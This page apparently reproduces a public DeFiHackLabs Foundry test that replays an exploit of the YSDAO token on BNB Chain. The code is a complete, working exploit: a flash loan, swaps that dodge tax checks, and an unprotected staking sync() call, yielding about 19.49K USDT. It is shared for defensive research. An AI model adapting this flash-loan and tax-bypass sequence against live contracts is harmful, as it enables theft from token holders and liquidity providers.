Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/YSDAO_exp.sol

Public reproduction file for dataset entry YSDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/YSDAO_exp.sol130 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5
6// @KeyInfo - Total Lost : ~19.49K USDT
7// Attacker : https://bscscan.com/address/0x8114650Cfd2617CD05C59898De7C620ae413b460
8// Attack Contract : https://bscscan.com/address/0xafBf780569B95C5766F78b9CC5788899Aa5616Af
9// Vulnerable Token : https://bscscan.com/address/0xc036A13D7A6A84677DfCcec483eED124654B7918
10// Vulnerable Staking : https://bscscan.com/address/0x3E13019dA3BAAd134493e751704D2D4245Eec7CA
11// Attack Tx : https://bscscan.com/tx/0x91f26d96373bbec6a6a8517c7be995a739d65f20fed589d53bc47d8140f91907
12//
13// @Analysis
14// YSDAO's transfer protection detects add/remove liquidity by reading the Pancake V2
15// pair's current token balances against reserves. The attacker combines a V3 USDT
16// flash loan with a V2 pair callback:
17// 1. Buy YSDAO while making the pair output 1 wei USDT, so _isRemoveLiquidity()
18// sees pair USDT balance below reserve and skips buy tax/cooldown accounting.
19// 2. Call Staking.sync(). It has no access control and transfers all staking-held
20// USDT into the YSDAO/USDT pair, then pair.sync(), raising the apparent YSDAO price.
21// 3. Transfer 1 USDT into the pair before selling, so _isAddLiquidity() treats the
22// sale as liquidity addition and bypasses the harsher sell/profit-tax path.
24interface IERC20Minimal {
25 function balanceOf(address account) external view returns (uint256);
26 function transfer(address to, uint256 amount) external returns (bool);
27 function approve(address spender, uint256 amount) external returns (bool);
30interface IPancakeV2PairMinimal {
31 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
32 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
35interface IPancakeV2RouterMinimal {
36 function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) external pure returns (uint256 amountOut);
37 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
38 uint256 amountIn,
39 uint256 amountOutMin,
40 address[] calldata path,
41 address to,
42 uint256 deadline
43 ) external;
46interface IPancakeV3PoolMinimal {
47 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
50interface IYSDAOStaking {
51 function sync() external;
54contract YSDAO_exp is Test {
55 address constant ATTACKER = 0x8114650Cfd2617CD05C59898De7C620ae413b460;
56 address constant USDT = 0x55d398326f99059fF775485246999027B3197955;
57 address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
58 address constant YSDAO = 0xC036A13d7A6A84677DfCCeC483eed124654B7918;
59 address constant STAKING = 0x3E13019dA3BAAd134493e751704D2D4245Eec7CA;
60 address constant YSDAO_USDT_PAIR = 0x24Df7bdBC67b0EB03074Ea9d8CbbA0445fB35937;
61 address constant USDT_WBNB_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
62 address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
64 uint256 constant FLASH_AMOUNT = 8_000_002 ether;
65 uint256 constant BUY_USDT_AMOUNT = 8_000_000 ether;
66 uint256 constant PAIR_CALLBACK_REPAY = 8_000_000 ether + 2;
68 function setUp() public {
69 vm.createSelectFork("bsc", 101_088_361 - 1);
71 vm.label(ATTACKER, "Attacker EOA");
72 vm.label(USDT, "USDT");
73 vm.label(WBNB, "WBNB");
74 vm.label(YSDAO, "YSDAO");
75 vm.label(STAKING, "YSDAO Staking");
76 vm.label(YSDAO_USDT_PAIR, "YSDAO/USDT Pair");
77 vm.label(USDT_WBNB_V3_POOL, "USDT/WBNB V3 Pool");
78 vm.label(PANCAKE_ROUTER, "Pancake Router");
79 }
81 function testExploit() public {
82 uint256 beforeBalance = IERC20Minimal(USDT).balanceOf(address(this));
84 IPancakeV3PoolMinimal(USDT_WBNB_V3_POOL).flash(
85 address(this), FLASH_AMOUNT, 0, abi.encode(USDT_WBNB_V3_POOL, FLASH_AMOUNT)
86 );
88 uint256 afterBalance = IERC20Minimal(USDT).balanceOf(address(this));
89 uint256 profit = afterBalance - beforeBalance;
91 console.log("USDT profit:", profit / 1e18);
92 assertApproxEqAbs(profit, 19_490.907296125583506343 ether, 1e12, "unexpected USDT profit");
93 }
95 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
96 (address pool, uint256 amount) = abi.decode(data, (address, uint256));
97 require(msg.sender == pool && msg.sender == USDT_WBNB_V3_POOL, "invalid flash callback");
98 require(fee1 == 0, "unexpected token1 fee");
100 (uint112 reserveUSDT, uint112 reserveYSDAO,) = IPancakeV2PairMinimal(YSDAO_USDT_PAIR).getReserves();
101 uint256 ysdaoOut =
102 IPancakeV2RouterMinimal(PANCAKE_ROUTER).getAmountOut(BUY_USDT_AMOUNT, reserveUSDT, reserveYSDAO);
104 // Outputting 1 wei USDT makes YSDAO's _isRemoveLiquidity() branch true during token transfer.
105 IPancakeV2PairMinimal(YSDAO_USDT_PAIR).swap(1, ysdaoOut, address(this), hex"30783031");
107 // Anyone can call this. It donates staking-held USDT into the pair and syncs reserves.
108 IYSDAOStaking(STAKING).sync();
110 // Makes YSDAO's _isAddLiquidity() branch true before selling through the router.
111 IERC20Minimal(USDT).transfer(YSDAO_USDT_PAIR, 1 ether);
113 IERC20Minimal(YSDAO).approve(PANCAKE_ROUTER, type(uint256).max);
114 address[] memory path = new address[](2);
115 path[0] = YSDAO;
116 path[1] = USDT;
118 uint256 ysdaoBalance = IERC20Minimal(YSDAO).balanceOf(address(this));
119 IPancakeV2RouterMinimal(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
120 ysdaoBalance, 0, path, address(this), block.timestamp + 60
121 );
123 IERC20Minimal(USDT).transfer(USDT_WBNB_V3_POOL, amount + fee0);
124 }
126 function pancakeCall(address, uint256, uint256, bytes calldata) external {
127 require(msg.sender == YSDAO_USDT_PAIR, "invalid v2 callback");
128 IERC20Minimal(USDT).transfer(YSDAO_USDT_PAIR, PAIR_CALLBACK_REPAY);
129 }

Analysis

Dataset entry

Public Foundry test for “YSDAO” (2026-05-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8114650cfd2617cd05c59898de7c620ae413b460

  • Attack Contract

    0xafbf780569b95c5766f78b9cc5788899aa5616af

  • Attack Tx

    0x91f26d96373bbec6a6a8517c7be995a739d65f20fed589d53bc47d8140f91907

File record

Name
YSDAO
Path
src/test/2026-05/YSDAO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9994b9b6ac09f348e40633b6d4031ce9763d32de
Language
Solidity
Size
131 lines
Date
2026-05-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/YSDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9994b9b6ac09f348e40633b6d4031ce9763d32de, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.